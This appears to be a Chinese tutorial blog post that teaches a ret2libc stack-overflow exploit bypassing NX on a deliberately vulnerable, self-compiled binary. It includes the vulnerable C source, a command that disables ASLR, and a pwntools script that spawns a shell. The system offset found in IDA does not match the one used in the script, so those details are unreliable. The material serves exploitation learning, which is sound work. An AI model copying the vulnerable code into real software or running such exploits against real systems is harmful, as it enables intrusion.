一.分析程序的源码和保护机制
注:NX机制栈
(不可执行)开启后,使某些内存和数据段不可写
1.1.源码
#include <string.h>
int main()
{
puts("SO plz qive me your shellcode");
char buffer[256];
memset(buffer,0,256); #清空数据
read(0,buffer,256); #数据的填充
vul(buffer); #调用
return 0;
}
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg); #异常 溢出的漏洞
return;
}
1.2.编译gcc -m32 -g -ggdb -fno-stack-protector -no-pie nx.c -o pwnme
1.3.查看缓冲机制是否打开checksec pwnme

whoami
试试显示程序崩溃

1.4尝试运行程序./pwnme
正常

二.分析崩溃的原因
1.1在终端运行./pwnme
再新建一个终端窗口输入ps -a
,查看pwnme
的pid


注释:我出现一种弄奇怪的现象。附图

每个pid进去都是栈不可执行
(PID(Process Identification)即进程识别号,也就是进程标识符。操作系统里每打开一个程序都会创建一个进程ID,即PID。
)
1.2 如下图:在终端输入 cat /proc/2790/maps
发现栈不可执行

分析:
NX
机制已开启,虽然在栈空间的布局正常,程序尝试去执行shellcode,但由于栈地址没有执行权限,导致奔溃。
三. 找地址
1.1 调试 gdb ./pwnme
查看程序的信息
1.2

1.3查看libc文件在程序中的地址
输入:
LD_TRACE_LOADED_OBJECTS=1 ./pwnme
或者ldd pwnme

前提是关闭地址随机化的命令
echo 0 > /proc/sys/kernel/randomize_va_space
不然每次的libc文件的地址都发生变化1.4我们使用命令将
libc.so.6
文件copy
出来

得到
libc_base = 0xf7dd1000
附图:布局的思路

解释:当程序进行的时候遇到栈不可执行区域,我们在它返回的地方构建一个函数。
system
和bin/sh
是具有可执行权限的,我们让程序自动跳过,不可执行的区域。我完成我们布局的地方。从而跳过,不可执行的区域。
四 使用IDA 寻址
前提:终端使用file+文件的路径
查看文件的版本号
注:ctrl+f
函数查找
1.1查找system
与/bin/sh
在libc
中的地址

接着按ctrl+1调用出
quick view
找到strings
双击进入 如图:
system
=0003D816
1.2查找/bin/sh
按住ctrl+1
选择string
按住ctrl+f
快速查找到/bin/sh
/bin/sh = 0017C968
1.3 system = 0003D816
..... /bin/sh = 0017C968
五 代码段
from pwn import *
p = process('./pwnme')
p.recvuntil("shellcode")
libc_base = 0xf7dd1000
system_addr = libc_base + 0x0003D7E0
bin_sh_addr = libc_base + 0x0017C968
buf = 'A'*76
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf)
p.interactive()
*完成交互

网友评论